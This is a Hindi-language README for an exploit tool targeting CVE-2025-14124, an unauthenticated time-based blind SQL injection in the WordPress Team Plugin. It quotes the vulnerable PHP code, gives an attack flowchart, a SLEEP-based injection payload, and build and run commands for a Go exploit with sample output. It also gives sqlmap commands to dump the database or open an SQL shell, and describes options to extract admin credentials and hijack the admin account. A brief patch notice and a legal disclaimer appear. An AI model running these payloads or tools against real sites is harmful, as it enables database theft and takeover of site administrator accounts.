
अप्रमाणित SQL Injection (समय-आधारित ब्लाइंड)
लेखक: Hyun Chiya
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2025-14124 |
| प्लगइन | WordPress Team Plugin |
| प्रभावित संस्करण | < 5.0.11 |
| भेद्यता प्रकार | अनऑथेंटिकेटेड SQL इंजेक्शन (टाइम-बेस्ड ब्लाइंड) |
| गंभीरता | उच्च |
वर्डप्रेस टीम प्लगइन अनऑथेंटिकेटेड उपयोगकर्ताओं के लिए उपलब्ध AJAX एक्शन के माध्यम से SQL स्टेटमेंट में उपयोग करने से पहले search पैरामीटर को ठीक से सैनिटाइज़ और एस्केप नहीं करता है, जिससे SQL इंजेक्शन होता है।
भेद्य कोड app/Controllers/Frontend/Ajax/LoadMore.php में है:
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );
// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
global $wpdb;
$term = $wpdb->esc_like( $this->s['s'] ); // ⚠️ esc_like only escapes %, _, \
$where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)"; // ⚠️ SQLi!
}
समस्या: $wpdb->esc_like() केवल LIKE वाइल्डकार्ड को एस्केप करता है, SQL इंजेक्शन मेटाकैरेक्टर को नहीं।
flowchart TD
A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
B --> C["POST to /wp-admin/admin-ajax.php"]
C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
D --> E{"Nonce valid?"}
E -->|Yes| F["SQL query executed with payload"]
F --> G["Time-based detection via SLEEP()"]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
style G fill:#51cf66,stroke:#2f9e44,color:#fff
[tlpteam] शॉर्टकोड वाला एक पृष्ठ मौजूद होना चाहिएgo build -o CVE-2025-14124.exe main.go
.\CVE-2025-14124.exe -u http://target.com
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/
.\CVE-2025-14124.exe -u http://target.com --check-only
.\CVE-2025-14124.exe -u http://target.com --delay 5
--dump)--dump का उपयोग करने पर, उपकरण निकालेगा:
नोट: टाइम-बेस्ड ब्लाइंड SQL इंजेक्शन प्रकृति के कारण डेटा निष्कर्षण धीमा है (पूर्ण निष्कर्षण में ~5-15 मिनट लगते हैं)।
--create-admin)SQL UPDATE के माध्यम से मौजूदा एडमिन पासवर्ड बदलने का प्रयास करता है।
⚠️ महत्वपूर्ण: इस मोड में स्टैक्ड क्वेरीज़ का समर्थन आवश्यक है, जो आमतौर पर PHP+MySQL में अक्षम होता है। यदि स्टैक्ड क्वेरीज़ समर्थित नहीं हैं, तो इसके बजाय क्रेडेंशियल निकालने के लिए
--dumpका उपयोग करें, या सीधे UPDATE निष्पादन के लिएsqlmap --sql-shellका उपयोग करें।
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14124 - WordPress Team Plugin SQL Injection ║
║ Affected: tlp-team < 5.0.11 ║
║ Author: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!
[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/
[+] Extracted nonce: abc123def456
[+] Extracted scID: 42
============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================
[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)
[*] Sending malicious request...
[*] Response time: 9.23 seconds
[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)
[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap
[*] Done.
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --batch --dump
# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --sql-shell
⚠️ महत्वपूर्ण: WordPress Team Plugin को संस्करण 5.0.11 या बाद में अपडेट करें जहाँ
$wpdb->prepare()का उपयोग करके उचित SQL एस्केपिंग के साथ भेद्यता को ठीक किया गया है।
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। जिम्मेदारी से उपयोग करें।
Hyun Chiya
| आर्गुमेंट | विवरण |
|---|
-u | लक्ष्य WordPress URL (आवश्यक) |
--page-url | tlpteam शॉर्टकोड वाला पृष्ठ URL |
--delay | पता लगाने के लिए SLEEP सेकंड (डिफ़ॉल्ट: 1) |
--dump | डेटाबेस जानकारी और WordPress एडमिन क्रेडेंशियल निकालें |
--create-admin | एडमिन खाता हाईजैक करने का प्रयास करें (स्टैक्ड क्वेरी आवश्यक) |
--admin-user | एडमिन हाईजैक के लिए उपयोगकर्ता नाम (डिफ़ॉल्ट: pwned_admin) |
--admin-pass | एडमिन हाईजैक के लिए पासवर्ड (डिफ़ॉल्ट: Pwned123!) |
--check-only | केवल जांचें कि प्लगइन सक्रिय है या नहीं |
--timeout | सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: 120) |